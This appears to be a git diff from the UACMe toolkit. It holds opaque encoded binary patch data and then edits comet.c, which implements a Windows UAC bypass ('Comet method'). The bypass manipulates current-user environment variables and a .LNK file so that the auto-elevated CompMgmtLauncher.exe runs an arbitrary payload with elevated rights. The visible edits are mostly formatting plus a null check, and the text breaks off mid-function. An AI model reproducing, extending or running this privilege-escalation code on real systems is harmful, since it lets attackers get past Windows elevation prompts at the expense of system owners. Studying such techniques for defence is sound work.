zPT+}Yeard-O@lK#zl>8*A|}`ZqXmzZ(7z;pdKP^*D}H)|`IV&6<{cOZvxQVNPG>nQ!#FN2tY%&h2vCJM!$pR~{ZZ zaYhByE>e}wVRO7W;VZ|08-81SAXC4l!HW-?Sm;DJ)l(FE^LK2T%&IpN;_5%?RaENZ zI}e`Oizp~zqF&5s^m(qIK;O`B$6J{F;=4Butjz3T6hvE<#AscZv%_VXsHw8Iwhy#- zIGU@@ovGaAd?#e<;H`AXeDQ%UW_0g|DmiE!a~AW(|KXB<3rUjv+|Gx5m^fLz z_cK1Mc-HuV9$iLw7fF8!Na*7re(^ii$4R~>g7*K@M}QTAYxi8znjlU-V^uD5;JOWn z<%fFm3ab4{0iS8bCM?2U4=YX}YJ8D>-K&aQ_LngXM2G$!M&;FPAcX7I1A&(#($BY0 z#byz$G>*E@S7L1DiA;oFa!K!7$hUe2uU!oi{vuzQ1xh?$uz4H21Jeh|Qzc&hLRn-` zE?9u~gHV?Y=h!H{9!lYi6 zEp8}@Mw0*B-Tq5q;7hNBDL#y`^>zmZ z#d~6&{F~~(;L>wL_PHi-lKBZ)Sj4*QU^{OBAXKjsiPV-6Hu)4?E=Ri}>Jyal_3XU; zIU|ZV=mKUr1O-wV1d6wGW9dbTD5?)-KZxcZ2 zI71}X-37J3x%hl2ycM-n-DsNqvo&($C@-HPRfywUwDaxc=X zDuqt}752HZp8%XUo>>-ZMu$$tKhzb`oa2^*8)p z`JUpn{%N+Hf2n~kg4*AYN*n_#wu@SQWPbV68JJ*JxzaktMDNJ@GvxiEjLYJ5Q9&1e zYG!==MKH1?Z^J!^y)tlu+RCD|A_^`k0V+PsNQXJMc>Da5n&)Woke>AkPvp%!Cqpn; z?0A}l$(^k92n`&5;wsy@x$aBO;h1G=>f>k&K;BdnAv52O$vz|beBxA3yp(cozP&n} zU`d5Psxq93WQaM(hO(!^7BJyy8c@#rzfH}gUED5H`Pi0822gBwusTK~>Bi_i$- z-qm;yvwl8|kKBzkgQ7FV%N$m~kY2qPtG(9`!Nua_j5CFy zgv;$+pDa%O1Hk{z|Md?zmyA9J%wF_mkXA3-%P;JC6$RdGi4%UVNFY`%|5)Y_^kn(d zqd|M`5Jo)Gk^p>EO5wA5x-kO0!__06|Hp9~-uy%^Y3BM(6)0Mr_DPlgr0Gx;ShZzRBjq5rO zB)%c-7k?{z72MHDCs|p=Na`v*+hEx|U%(fxxlvvmty}$|OB``TO4adx#wrZ4)<0w? z_vp-=FIwlQLmMatnSJD|nL*`beR1P^({Fe9KvGmYjlTM3Y;4xr>IH*<^4}_z1{yG& zhTgmK;W8CS*ToXG)s(;8EYwKdAQ z-CJTIQu|F|kARPQ4<~QWOR&E>DQ}7CO-ukP)35px4JX8&Ny7VNykt^! zi2Y~M^7!UaLBZz33w=7ip;s}!E1lufLsd6faC5f4iX#J@Z|tvsWo-RhSpNz6MkKaO zwu>5G`XLa-+pxK1dwkJI#AB*lHFh2E-EZ|+^_$&yYt5@dJ@`a4C>My z4_|KXEALPaBaI?10VK?Y#^-Mra=rcT~+0gYDHRam+P#=!#i?QNpiBI zj$r+1=gT&C&%Tw%XTgNlJOh-oX$(hyDSX}gir+nbZGXoVcEZ0iFC-&!`BS4*hTG0I z&jRxxuPnSrew4Y!MS?6vau^DpuH*PRGXhh^yz)X!>OA|J{}2^}U*>y^-OUR&&k6Dn za{SiV$s?f!E62E}U5SvkZ5{U~hO!6o7$UxICuZ1afA|)apQ|A)=#?6150>9BnRer= zNZ(=8`kuJjpEF%yu>eHvBQuO%+5HBXj4(W^J@L6*Rk6S``Ta%TFQy2f#Sh%t$XlL7 z)7oErO|-;ro{VB))2s;9MOnJy;I?g0(3T2$L$DJV67)kagDSSE0H$!2 zQvpPo0*wC2Yg?F)(Ff#{35J}^p-4I6l)JBw_B?k!h?k;XbbKZ;Rn-5U%y*52gV4+m zmk`jB_M3Mu>&|kKdsL~+b=!g+BGJCqdR?$@8R6ea8|Ey{)CbWHWn}iBg9DY|(J@#D zBdY*hkKcW9TP}_8#RXc`e>(5F*f0B_PlvK8ytcwMm_2sx_D}Xc6d2b^89x+PHE9*1mHl{|AJ6-MC_9!P3(gA@R+u@PaONfz7J{UoK&DhG626zjG6( zL7?$u?m=Qe=O?9}&5ESGf9b`rLIb#6Ryl%~4;c|TpMB&bt|Cx2f~W5fL&4O>6HWR0 z3NAe#4YF(s&xa+R0^0ee&t8|aJo=F(6VizVKYWFWTk-LiF767E>k66--%_CoyD>l? zGpfY1O;lOk$rbg|Zz>|!Aham#kWpKf<)LrNax|NVDn+!RT`!gJ!VA{3hlJS~lS5k; zUtv!DrF=tiu%CBPtJ>lbbJB;SXRz`w0O!kkorWzV5Gl^LD=fqx_fbBO1DSGyX;R0e z4>PeFfb>wA<|tb>!tr6Kd{v{taT;bD>R;Dbl54*6Gu3bS8Ju|S^Op3Q^=<##W3s3N z>$#f|0W@krX|Y&@MlmVwmUzW`gjuCi(>C>lrEwT`Xxs4$&^3nmHux0mueQc?6&_RN zHC*o41z*Cb)NRMRnd{BTx6Eo+*f)9#nzx(Z@CMFt;Ctd)nFjeI6O|98`yIuCo{$CU z)zco#nAMn25a$9@N4?0D7-dhOcJM)%o!MEb;u+bLo^7|S?rYaz)=qfCmU=diz=@Sp zede>Y)}z=~({lg5+i^Vibl1+`OLtJVV%uqUwVEn0mKx{dz1Zxv@GsZ0;`k{{{*gnB zss1!m8-vH544x$1%)x1OPNTJ+mUjm`z3U{jTPM#StwY}Cd<(C7x3nf$^+Quo`18qc9kPYgA>OnH_e>VCt<|geU%x=Y|~nlLef}V zng4vtE`>{UjPHXCf$+Lis_Ua;;sMg?y4Hl-VFVeECLMIjdnxX?DAY!VjN_ z#M(_s7tb>jvk#r1ufGPx*sFYmt0jW}-Mb`k{&sS~)d7#(i$43|>*I?aLQQ)J(KkZ< zq3boj@$#KRe|xV+pOum&OLT7B@$U_I?kiXb@XT^yxk=v*&g-OL1XH$y?^x*cA*(0& zYu_BZDf(^&M_j)6C;;t+XqC0j7fId>zT<6;gOl3W^51>D&(icb8hD*2IXH1hbw03Z zkzsk=7G}+z2Kf53?pP>sAhII`u&6qU4Iz&X;Sd}Amx*ZYWC^f{_X28)JjP&sdqm*R zXz_`M};IX!v98$O?)IcR3n52$1n{oTr5?t3bI-T|zrO)*I9&6YmCIBUtm?s>e-2i zhCb*tFdj(p2uE-i%H^1>>IgTl8eaza;}pDyj0U_jF%7+LTqxJ3ton^!(2@*(kvsh72s%||85z=k;pg8T43rqn;o+`cVRp1>HZ9(jbo&|lG0-_f zi?NYrJTRo<$wKTT@T+?;w9TYan~YO&95?|TpeZc{=5Bg*9eu1hl$*S<53+j?C*Re$ zphCSBK>Tps^0v$$udjw)iKT~{&_Ay1`aGeFvV?`9Gz8_z=brs&f77g94$@Z?{=-Wt zh58e_%OF0wda{AL;>g^tobRug(D9)C?1cqXh-k?jL7_=wf$Co@L4!*CQz9PCoZ4tR zXKVdQ2|`VHQ*{CC32`9chG{z%p1&=-3`+ea+{Y{=dRqe+GK4*wR#o7}M??z?#j9i4 z(Gw-4waX?t6#V&}M)lf!Y`iCed1f83{4Owe{0RKTs#Gxa!B$a<4M1DelOZJ`yp*y7?p zP`De8L&pH?wXv+^5y);G^$8Dg8Q>G*{t-zgw|v!f7rb?vw=@xdfpr$HGdv2RU~G2L zOgHqzqWqf(kbKgw-QbRXl_-!WMU4u&fitB1fO1sW37QwZmZ1I8r4M&ULnp1+r*vh$ zLn}5RGYtdXP+Y%AOoL=){p3$n1!-p2-@0Oy!RJN25P4d%qVFXJl!yk9wOr!k|9)%v z_P)TPW(*H_&kTN8OD-wGc~Z&^x6#~WFTe`4WQYj+eJPV-B^%dyyWVgf`e*Z_Y)J`sk~P@lcZ zHa34u`pJ;|1zpQ-fA2HH)Wdra+n1Uly-HS5Z{s>fKa^X zQCW?RrOQvrQl5Jsr!t%!aE73>GnFOptQkDKRlU*srXj`oe)Zx4NmaT(a%HWzMEiubWFnHyhv zyxw(dD<`S1g4@s9fau*Y!Tw66kpDJjnJ>WoH-WeLM0IJq;dDOt8R=K+UQ)Gm45%F4 z-i^;*R=Z`b_l!NN-v23r(5q5+0K0Du>9;v1NmMod(P3#?;}5gf8{qw$9#^)mvpQ7OZ0~aj*qyPW_ literal 11831 zcmYLvcRZV6_r97X_6SO8YnRwtjaqGOrAlJOEQu(o-O`p=rBzxDirR`0BZ(Mo#U@%a zLai3DSFJAk^Sb=>GP=Q+ggaORfjMB? zkHO^%Gs%%Zf&hLJriAfPV(-p5VluR|zeg)dbw-GiF5kuQkwjOAk`J@em^xRPgG_ke zY|LL%<^?o~-jhV7Yff#pP1t@(KBp?TK~OK^Mvfl#e5e5cR*p4!de&HG!>LA5 zGu3g(eu>WQvC?qbXW>VlN2vp>7#C%jQ@b8otnEG>ehC1)0d7N3hmaX*g}Rah=4_O* z3l3&?N^^AJkuiQriG$*I@^ZxH8|&xTiK^Ky6rdJD*0G zjK1n<`T;|H%#RIGJQ8t`qYO>uOyXswKMXFoG@p5G$_{FK%IjV#o`v|UT3YhYKJ0d; z*#U#wZ>*E%Uf!v|NpFi6o$X?UQjVhMaJ>33q#_T+}ClnWO z^hd5Djrv%Hgoay29%BXNlnquf#7!;99mMYQ}gR2@JG z0#Y7ciMIKoxpuTT{GJGXQ{F|3ADIW6e2h$4;?wf+Y zTr-aD*W^a7zhHXcUYXUhV*>)?t+z6FNT@_RkcWYM_2FrC>n>5U%$L4$$RW(Lp1I`% z`!@Pq=em-(bj*j?yG;c!a!vaKAM^%qWp35RFx-PE`?~$|kd-`(f@}7LpEo5tTz*C$abM<++_PoM zVw(L+pD$(dqVUB=8)|*pe#WXs0b4Vx%oez1Q+ddW5bSGo?+U7cc}Ul^YmC#OT4A_- zX)GZq%QvedEa^R;UhMQw=-Ta|LMcA=+P|$2?LXx%coM=)?w1TJW=O=i;gFE@sxxIW({{lO*oK; ze@?7_S2<3V+GiTusxrl-A!hT_wx_uDJU8}a-OF=-*(Tn$`IkoJfp*QtD5gW6Bga*d z(&R0Tl-^hfeGuOZ-t3w;{&!L;>i@hpo-4mp_hESnn>a&IE|^W=7gU8*1@_mN5|C4M zp6R)4tO}<1m|2E}F!F6C0g^`?@R=e`Y&@cW@gLPlfD{u4lu^PJr&uFN+GsWbQhyvU zpX++y%_)ea5VibuC)2y{pxXNF%4YFQGQTMlcAxD6u^)G<7~@ZZlV}1Y^C4#Qpge$a4(8wdoQlw^pnhtmhGWJ9g2QR`7KA+(7ya@R!I`{e9w)vpvz0wIz zC`iu?;nW9Nhv#6~LQ$ZQS=UL}%)j{W81!>yZNtQ9sz@iAZb0Cpx(Zl()V1CBFv+3MjkjhxW*s#fWOrM(Pr+4M%k`gEwORZ*4 z5aE*d%{_=n$Ys3S%(KPKlmJzF)x=;R0~?l4E+0}6w1SQ8{9k@UX3gO%V>wEm|CfKq z_d&h&v7Kl(K?7F;;>)Z7ZNBCql$6cp4sz;-Q83_&Kx&caJPN?)<}n$xd3OGxr&>_z z-YO7e^dyBs06W3?TUA~^F__W_?+t2e)@G@GuN*+HU!sz)QeZ;Curmj#J%*Z9KLdhn z(TEud6I##vg&#;9AY2rTgFP#R;N3T{P$OGC;G7Wa( z0AO7|3O1ez!T(*w!cbx8zi0QOG(+6u`inM_AfXndK~7t;<<&5}_FF7;)lm=V4+|XK zB*NbAxooF(BK1fR8v z?R$X&09^zKh{hubjXeDcDT4zhPK*e@^p#Xr6Fhb%cF%E^6)wU-cy8}VL zKk8F3Yl-mWOQ=uodO$}80%CNbl}6^HgYM0@vRnke)=tMjqFkv<`fMlw`66UTtp;mC z+Z;haNtSv*KPC+rrBV+M=Y9+|+KKt3s6#+Fry#99^CLx-Ht=3Di%FydL!0JVC2mKrdV&O{d1CUTU-!DQmm=uU6wDtoulmycQnyowF zXqdZ`^p)@INozhpkiE0}Os5HHc1;<&p%3VE1>>emF%Ud+H5U4H?=0UdgzywHlE#OY zh2r-CKp7AY=6D&>67>!X^+vI1vR)w|LWyys_zYzzH;N_O35**Y9f9CQsQ64$yu7y^ zgwQMlqQ^7xiEkN;6ZLxn={0a>*RvK?<5p+rW6?WlTvG< z2B$XklM*8{K#*T+<3uEYoM*j8Ldgr2f^qwl+Nf)PsaWV})%o;t=Y≤)7x%wDKk? zF7gVcZD0^M--Ckrp&7J($&rL2XDfI=+5Y--e`Tpo85+aHW&!fT!TMi8 z@T;@Ro`z-sxFCdp%8x>39;1~L=usy3d2-vTDJg#8Y(iMy%rm^Y<`I%biPvcRXl3uG zC_ptl7bo!s1Bs}i{@8nr0-W*f3y|o$Kxs1eL6MUgK>Z%L9u^h^!Cs|e&-a=E$Xk$I zxfx<-1v^?^j)Y2~fF4O*p()1u^3j#v4 z5s@7jwDQMzGk~ov821c_Q7z}9VpHf*4xu1JLaQiIKA!!>F4VI(i1Jz=2Qv(UP#$8j zPysW*4O7S%f@OPYo|3_4-l7@(6A%la1fl(IK4l&j*2l z?A_G^L6Dvr!>>hB7b&WF690tP$wb|(iVfpF34k@5Z5h-)oki$}(?!BloPqU!IkL_3%RJ zcD((*kz{K~&+|GD=|uA4FmIP{B#X5is{tOv?L^omi2;UIwt*u&3yc!6f@ zdNHah9JI&8IrE5*2K=ddgK#(iJZw8Cp zB%}49pHa*}2{6GYd&~kKOD%ztUIG|E)`X}TB8)bHz6zZ}0oXt{aAA}N2;PeN61sqr z1%l!TmNSLO4l-H@x`Db3WCr7IP##0j@MA3W2TB(x4oN`Fq$9`3waQK;lp2s9`~tRx zfuzEhu^yxr05Ax0geV{?)5tT*lB7<6JqUaPE5z{NWvEyXsSn@`;wK=|h*xL@Xm2QK z1YiPU$6cdf81Nd@b!ZL>U;$z#D9_N4v>LQM^d0IR5M*$s4+bG4a4HpAje-KrAq4uF zabz<2SQ*-YiUxXsdtj6)NGH4&3nZbCKu5?BqJoIbB`+(BlYRq$7_d6b5ktkpU9n3f z2Ea=Y#1L_Z_=|P}t-M7#4?u$^a4>Vs0REIJ0VVMO;z2`%Uo*rF+8uNi)CC1d1@+<% zDXI`W`AlDVqAG!)e}usqapZL}8V!Y^ihzk=TrY(VA_R}XLPJq4z(NQkVul0hKvq5+I|Hc^rXnb$3u@SPgxaNq|e<4Jw;jGxOd@5G3_t1G^c`J_Q|?` z_H{#w_(zh4Q!w?(<)`xiix3}zYU_k(0_MONidm1daF^&2|Iw#;8np40?$cou@TUBR zNW)j|R1!Wo=tYVGH&m@hd~(a;Soc{MU-iaG$a&lRn1mkaRQIW2Y}ZpAW@XnmUIk>? zIib}NhS~*5aYJyTtKu)#<%HocNc}elj2tH6UBl6iG`Sqw=PoIZwP5?VVTYxE4;V83 z1<vcoMl=xTzO66s~1oE4@D<@eE797c|tEVL=)X(|!BdbRC` z*f?`!VMAi$i;B~9EdK&DPfW#rDExF;{1+qFU-(m;;c*tTmr{o$)|z#a{^P{+fk1{S zOp}DaTK%i-#RB*I%@t86Nw-|@Uu6$IybZ+a*Z+<5x~Z7}-)`Q|{%~TXPeA!Tu+hwO zT+4^-^S4g$;5U7MCL-VI3Vs`wlc`Y2_%2KHd(p=V*~bt(_sd0S#j#h!b=4uR@vq|X zJ#+W;NK*g{Ugl92;ul>fx~h3j{F4qb9gDk8c+hpqhM z(Orm&P#6Y%L-g#H?NqAVOdWIf@=*KAUb_`|w8V;&^mnLe%8?8AS;)sF|Kf$TeK-+KB&H(kIR+=a@h= zS#L(JK0P*7B^<^a8OwHXHiRk!{81I~a(fQ1_tKdKd>m>ZQ>VftUg5?qi8~e{GwG)0 z!4+@$w(;~%mj@SKmXv5p>APHojXYD*%`}Y0zrW~Y?_$+hP-JhgBl)OCL6m$UwerL` zE%yR9PxJL6D5Z+wE8W}qCq=t{NE7Y?`%{a(Uk*#T_Mj(yuZP@I9alg;nNoT49JMID z#m%`Nc_W*d-kpVpevh~qb!2ZD*o7iRHyqI|5b9G~RR2;6?@ABNyaeSrFL+i;J$%(Q;C$@c0}E_+Y?gEosv zNbLK*N%hnxPt*-v1d4=+<&&jq^R|n=)9gg)XGJeZSE(s$b|ClmyomEHwt)z)O3MsT z)o12U^(dsOL#1EVITiPlH*r2aMK*k8ZhypDIufE_Nhm~&8IN$7Pe_16+kH*;H`)T} zyKyd-Eh}uz0|rw*gl5ixXdkhftPwx8wh1N1j6%Plrw7EVhYkHBULK+Mnk$~4pS|$@ zN?^r3hQjxsI`bhB&wh7&ldu?ozpuKY>sWzvy2v56cFV=NLg#VM(tZY4z)3oBaP&2{ zd<J$obOP?;I@Ft#pQxH*L%xeBw+um9+zq1Nfvsgik_>A|=WD)O0wXmJK^ec)8b8mf6%|aWTUcn~7@NpiT?~Y- zZv{u8zAgsSeh2MF<3k^e_$m(XQk>N%&$q-|O9rkgOAt2wLvPCMw#{QCXl^BT)6nZ_uE?KP3L!G>*tYt{!Sz1gc>6Gn32tw9YPnfmWfzq zt(tMeVh{AuaBtM#`z zco!^Xg1WPq%`Zt7XSJ7Je|^BzulKU3`h~e4^Sz=k5AetB?nAbQeruVy#}3K$^cM#Z zGK@=YR)^-JTUjZNH)aPMS)#RoQgW?Tj?u}768VD%Lqm@%Jtf{f%GvlU2pzv*4w~_O zXVY2Po1rwa=1%L1^0}k?S#dl=%SUeVuFB(kRq`=r_>=Lssmk8(?>n?#W$~yq{SY!S z^)q82O;XhHgTAPg)L! z6&_?*|Jk`GJa{+lbFP^gE4^z+Y-nY8v(m^H8v}=-2O9n`yuN=0;;on^Szz*&v^E2(q2E5nCg4)I}KT5FJ;n+EpHpCXJ6{{6RVlg-+e+v%%?lH|ITsi0llKsR}v5`xs^bmf7vyq*C_6-oR^c<8T zyOr@{EVEP<0VA|uWn|4{8vl4*E+tx+Vfc%WRQLfO>2^@Qew|)_JPdor-*6{!kz+(6 zQK@CW>n;arJs{$`>@;IBh^1Sgx{I+c9l|RXfWJ~R2+Ynvn{mCP`D^ov;6%#%G)5Jk zb$NDj-10Wn8Uxf4)f$VZk)WsDfE)Kj4)n4%IW*nYcU6*l-2`CZrVooh>0X!pbB8|t z5B|^kTls(RKU?Q}`q=g^H)LOP_HQ)xuOS=fNsncO$@yXSkC>S*IC_y0yBQd5Dl)`X zIV_rNHF{^cWR=q>R^&v@pKJQ9$;v(lW&;7lemxScrLvW$K+Ufni=>Adq_vUJII~s`Zq^kQa zv(p#l5a4Oq(mq`h>q{(G{a#?Cjlr=^;Wkfv(X<*zZ9*_}5bMF^H><*$I!VXs&pIp# z{E+W5DU(9UB|COpPrHqzx2_(-o;RDSoug_1y`JBTGLo4xTEvev?!Vzjc%}JeyXp0E zJ|&5$MoUHBO!Y~k2>6uP_C>AM-H}9c&OQfRl(G;rOR`o61oa)y4H+^P$uKrcm*Ai0 zbp8|ASSlP4ZN2k=ef(+ZZMT)EZ|AE>BlLD}+9q|poQnV03rJgTGsHGu71GSiJCa}B zG0G@C5RJeP>c^zj;*oFmQ|=W$W5@XJapL|N48KdNTTr^tl_c@xL+$hgFmvh$Y0s>XvkkCSij)3@|7esFMnv325~l)@(d zk!MO&{NP(f*teQ*k=IQXXJz&*coG)v>q1(OZrg{tGn@?nQI$;AWs$5oh{fMj8rE*w z9_#w-v3*$%HRYEBaD0R&MpTf8B4yJk9(TP1j}%jW*lt8MAJG}m;#ia&(>hGTU4S!_ zI(an%^j_IUzrApS{2zyo?n^fA21dIt>0Hh?FIi%E@h_Y+bBXVtH5egWRvNGo-PlB~ z;$oF4rOyax@MhgFVU%OfVs~-mr#zZb5nx5SLe64C{E-1ZBOx3J$cDTW zbIs)aOwk7(6Quvt)1`6oj~I3889y?XtOA_=KR?n6r#vO&hfO>{{4~Qii$eQq)Sb&u zXYGL@ECl<BFn=*gxf~DC_xwpx)%_{HmXJQSW9m;zOUpQ19*HD|XruK8;yDfpqqQ}9f zml+e@A3AW>J@e)NV7k1v*`+lmPTf7jBO=U2y-~ER@f5q?7Q%P+I51e@!XnHPBd_L7 z-gO|oxWy+EaO~c&XNR{kXgf(5vJ^Dq#j%xj3r(GG-;GLNfo7Y!@95?Hc~OzDb)%ia z1)TL+u3TTLO)lQ*K4Glu_X(MsPsiBrDAW3djEj0bn_Vg<1>)W`qN}9ddTKv=dTP68 ztBFh-1U`O`Hs-7Nb|b<>zg>(l01;Mty(}Br?-OPP3D}n1R|64p{uYrw>wO)y$9ZOB zM0wb$_JJjDz;>JpPi(8@wf(9!cwjL^SFdH7gqk1FPLRHNRn zzWiA+2M!Pa-P#l~Q<}puInV8uV)6DexRjFoiQ!FA)Mbed!h^Oek*~UXGwq!2ul(XF zUq&Fj^pBaEf7;h}vSiy0<(%V^VB3{@*CVad$U2c9{}xRyMpt);n3@Z2 zxf~c2{?wSI*PaK~bX&?HcYpCva(Omu-o&w#mQ5mq=8mr6p}bV_nv9S2ezAgGjK6p? zUp<`aLEE`MUyAhN^|L4_E2bZjm~9C!DOU#@>k`=BeiKVgK6Z#AtRl?sAT)KeHdl_- zc@u3Wq-1nzue|jea|-V=i_mz|+hQJJ4jz^vP8)P7yuQzmUkZr6nVsW45uUbJl2N;E z{W#7iOw!+50Oa1}lSVpU7tQWZEZ_GnFgJ^E*Sa(?+Qjf)*19-UvURP|A#&SwyV%}289?hfC+04MBi0{)zTnDj{~=F%;(v%Paybvsxs!AxM?iryU)j~4WiV|tkh@3KTZuJr;^Z%+~|H{Ni`sh}&lG9&|R?j4{kTV4GU!xUnZXdGBHQ+4I5! z6W*+}!$wcv=_Uixdo#ChYg#WCB)MfR(f10l$V|+-DevpeIJg;3_9}2E;gYw6=dp$+ zKr%%3^Tjj$Kx^yzpMC)O(!>e#O5J+YDS@i)vw2XJK-c<9I{Eq6htQ|pV25Cl6FsL@ z;XO(8I+Sz~fV9#&w*R>6u@@7U5s#>w|uh+*ayv~Iy^-=Sbyr_m zOgk|G@Z$_aX4$d3YwsQRY-iuu#~oKAe{r7aprXA4b)St8tIpcAZ`*u$pCqRArNo)n zKRVx;YARx;ILa5IIP)9WiTBB#&YNi~lM~*3#kVe6 zMOG_ZjHIcD4{mBv7+arcpvOise6dhwV@F6Y;O#o_RoO2(j_QAbgs9&ooCI6VeVb={ zIwS#j;nn~_DP>Q$vXC6|Ev?7qR_KMp@oo=I;g$5c*il+Ft3IS6aB+M8*OL>sOSLHf zD4PpM*FJVaQ0{LhSW0&Nfi4%i0S#2Oa>c=r&fICE_u7BnvH!bj+725N2uV0bAc>Y$ zb$`CGAALyPfstBVIX%=m&X(TMQ({HUAk6o`IrxPg$uZiaDpIgE{pa3LubZnqp)dc6 zIeDRvB`?ZpAgvs~rp>+ETsM2gWzbo!1c~JP#fT$UOtVHkkKIHuhLc4W*S_xt?(F~O zmVdnp z7bG39j~ZEoyrw!#1#lDUQzsF=`T@uGk5Wd35+^Syjt+=OBQ&rcU;lpA;F!IFc(&n- z^dMs|F4mv3eg0Ye*Os}uHA6*eQ1j@Wi62{d;|^aj9WJTyw>dn4G4YY2Mx8wBk|Zg8 zb)nI*ikmNO{SJl?cqp@ZFTWCV)*G80ns0oR>=|V$QUCPII@5mz@7^V_dPAc651?W0 zA>B+;p_6sCdX7ODcBm^Kt7#PYPNBj#(%0(R=()c$4$71Mg*HJ|r8?O0j-UagSCrVVlvVt@kG{4V`b-~Q4jdbw zZ-y1j_8cU+n;9#1bIi=Bl{Edi!-EHTMVZV;894e1s}bgt6|3`8RAY3%iV%rvABqlQ zIm;J*k8uKaufCF6IvM!VU`!hIiWCd@AzIrZ`s&3L-}jDWqe%~*%xXcg6VV4No!^9p zT<|w#&*r})vFfyuVV&e|d!TWoQ>EW$*46j4ZV zSUIaOdi+Fnys6$HOWxeI1--}yK2on&DuiD~8VSJe_$Jrx3bg zg_+>5K*8u?Y+6?{X}Z}hHD3a|gXl!BPB%$6eiEE|{?YDM1uc$M((VJ}S3AC){5d}4 zK`#A8Nw)@AVW%odi7?CleBIXx@%1r%osLyq+Qvi9q9uP#CH1O7($>#g{>rVNyZe12 zK!$%i0nxwmVd z@pFSg`z$AI4{@X+PvU&D&RpKM>cNLUvJkZz?WQj;cIuI;*6`U&us(XBI`(DCC8W3{ z*^RDxqntlbc3QAxmeOQ6-{o}#S~xo$C>ea14PV2tutn9Tm2vX#dlFPuQj8LbZ$5e zorvH+9PfJ6!woxm#8PB(d1KeUai$7&P;T4_a;RWyrZB!{n)DT~0dvZI_$V#^JjNXq z{Nf!`eOG`VtMFH@nQ5Vfl3&J5q)16Y9}Cbx9y?e{U#-C`i`hs}!Fi9Rc7Wx{5HO0T zr-_T8z(34)t0t%0ZSCO99|z{gINt1^4+y3uYU>Q2;+$l-p5b6+YpRm~{5&sd&nwJR zeGHHzd@-r^;Euy*%AdJrc1*KFQy@~0BSfvDHyKmK-|BM2WO_ZcR_ z3!P)J_7#r`f*k9bUe)zl4@@ zv@2MB>=S7e*cXW$lKln`Xe^o6ayWZmvk1x}vxK8(E-}8_g-a=M;9##t0cs4@6LR05 z_nIpVz~5@AT$lqtFu+;I+OBNvK@^If?B>Gc+sdg?_O57oERE zX87-*#JKC*Zkl2nf*_+zGP)+`zrvD<1`ya0YQ3r2P>f@eKs4AcU8;` z2&qVJQcmhj0%X@d$5}clnS^sM-1ofor$q3~4-uFa5Wd8oPtVHxn4VX{;}ANDagPYN zx$Es^cJ{vKiie7}{-D)Bl%XHX*|^qR!UDc;xh%k`i_mumpc(1eR5V+e~5YNp*%4kXKmnhhL#IGL{}X*v)-s>oyg3It!Vs z8SB6NZ3)0_B+|S+LX@UGL;t@1^ob8ePZ1}dfpOoKq`oWqY{Yjv$iD09%yj+FHni#G zne}9+YdNh~Dcg`gHS@aH>9e9J8WIG-w^d(@$>aB-Br|@oWy?4Ez*0H9IQK^f5=aUt zlt=IoJ@cCRoti&rlcx^Y+khLD) z!Yy95%y?+{F?(Q=Gt?vQ=rOb$<*x~9DKVbm3u7Ma8}`FUv3gr0gT-SB5Q?il8tU~b zP&rz;!Q_wQonot3DjjJ{X_}Y+Ram{oKr-RZ8$+a#Y5}rO*XPgFoH_DK^^qQ;I>HD% zW%;g8uA7N~<@#5wt9|j|8w7EZJEd~Zotf0EU=k&YcG$zjbPEyZm`c_FQ6>hdx5{Sd zXd4xr@IGRoFGg;dxvAqyHhlPOf7qNh2Y@c@7V9cO)ct4};;0|-eQMv$Q7GAM-%av5q^Oy1aJ|db!3yAnu zfK2*0;x35UMgTn?y%zhpsXcM8z4P4E;@SSppzzk;?1S}1rE6|mqEJSjFtz)@D*v36 eQ`>KyjJ5$FpGJFXV#HKmg}UF#6LsEm?*9)tLJ!9P diff --git a/Source/Akagi/comet.c b/Source/Akagi/comet.c index 2b894d3..5e8a1f8 100644 --- a/Source/Akagi/comet.c +++ b/Source/Akagi/comet.c @@ -4,9 +4,9 @@ * * TITLE: COMET.C * -* VERSION: 2.52 +* VERSION: 2.53 * -* DATE: 17 Jan 2017 +* DATE: 18 Jan 2017 * * Comet method (c) BreakingMalware * For description please visit original URL @@ -27,46 +27,46 @@ * * Purpose: * -* Remove of set current user environment variable. +* Remove or set current user environment variable. * */ BOOL ucmSetEnvVariable( - _In_ BOOL fRemove, - _In_ LPWSTR lpVariableName, - _In_opt_ LPWSTR lpVariableData - ) + _In_ BOOL fRemove, + _In_ LPWSTR lpVariableName, + _In_opt_ LPWSTR lpVariableData + ) { - BOOL bResult = FALSE, bCond = FALSE; - HKEY hKey = NULL; + BOOL bResult = FALSE, bCond = FALSE; + HKEY hKey = NULL; - do { - if (lpVariableName == NULL) - break; + do { + if (lpVariableName == NULL) + break; - if ((lpVariableData == NULL) && (fRemove != TRUE)) - break; - - if (RegOpenKey(HKEY_CURRENT_USER, L"Environment", &hKey) != ERROR_SUCCESS) - break; + if ((lpVariableData == NULL) && (fRemove != TRUE)) + break; - if (fRemove) { - RegDeleteValue(hKey, lpVariableName); - } - else { - if (RegSetValueEx(hKey, lpVariableName, 0, REG_SZ, (BYTE*)lpVariableData, - (DWORD)(_strlen(lpVariableData) * sizeof(WCHAR))) != ERROR_SUCCESS) - { - break; - } - } - bResult = TRUE; + if (RegOpenKey(HKEY_CURRENT_USER, L"Environment", &hKey) != ERROR_SUCCESS) + break; - } while (bCond); + if (fRemove) { + RegDeleteValue(hKey, lpVariableName); + } + else { + if (RegSetValueEx(hKey, lpVariableName, 0, REG_SZ, (BYTE*)lpVariableData, + (DWORD)(_strlen(lpVariableData) * sizeof(WCHAR))) != ERROR_SUCCESS) + { + break; + } + } + bResult = TRUE; + + } while (bCond); if (hKey != NULL) RegCloseKey(hKey); - return bResult; + return bResult; } /* @@ -75,117 +75,121 @@ BOOL ucmSetEnvVariable( * Purpose: * * Fool autoelevated application with help of manipulation of the current user environment variables. -* CompMgmtLauncher.exe is a moronic .LNK ShellExecute launcher application. +* CompMgmtLauncher.exe is a moronic .LNK ShellExecute launcher application. * Only MS do system trusted applications which only purpose is to LAUNCH .LNK files. * */ BOOL ucmCometMethod( - LPWSTR lpszPayload - ) + _In_ LPWSTR lpszPayload + ) { #ifndef _WIN64 PVOID OldValue = NULL; #endif BOOL bCond = FALSE, bResult = FALSE; - WCHAR szCombinedPath[MAX_PATH * 2], szLinkFile[MAX_PATH * 3]; - HRESULT hResult; + WCHAR szCombinedPath[MAX_PATH * 2], szLinkFile[MAX_PATH * 3]; + HRESULT hResult; - IPersistFile *persistFile = NULL; - IShellLink *newLink = NULL; + IPersistFile *persistFile = NULL; + IShellLink *newLink = NULL; + + + if (lpszPayload == NULL) + return FALSE; #ifndef _WIN64 if (g_ctx.IsWow64) { - if (!NT_SUCCESS(RtlWow64EnableFsRedirectionEx((PVOID)TRUE, &OldValue))) - return FALSE; - } + if (!NT_SUCCESS(RtlWow64EnableFsRedirectionEx((PVOID)TRUE, &OldValue))) + return 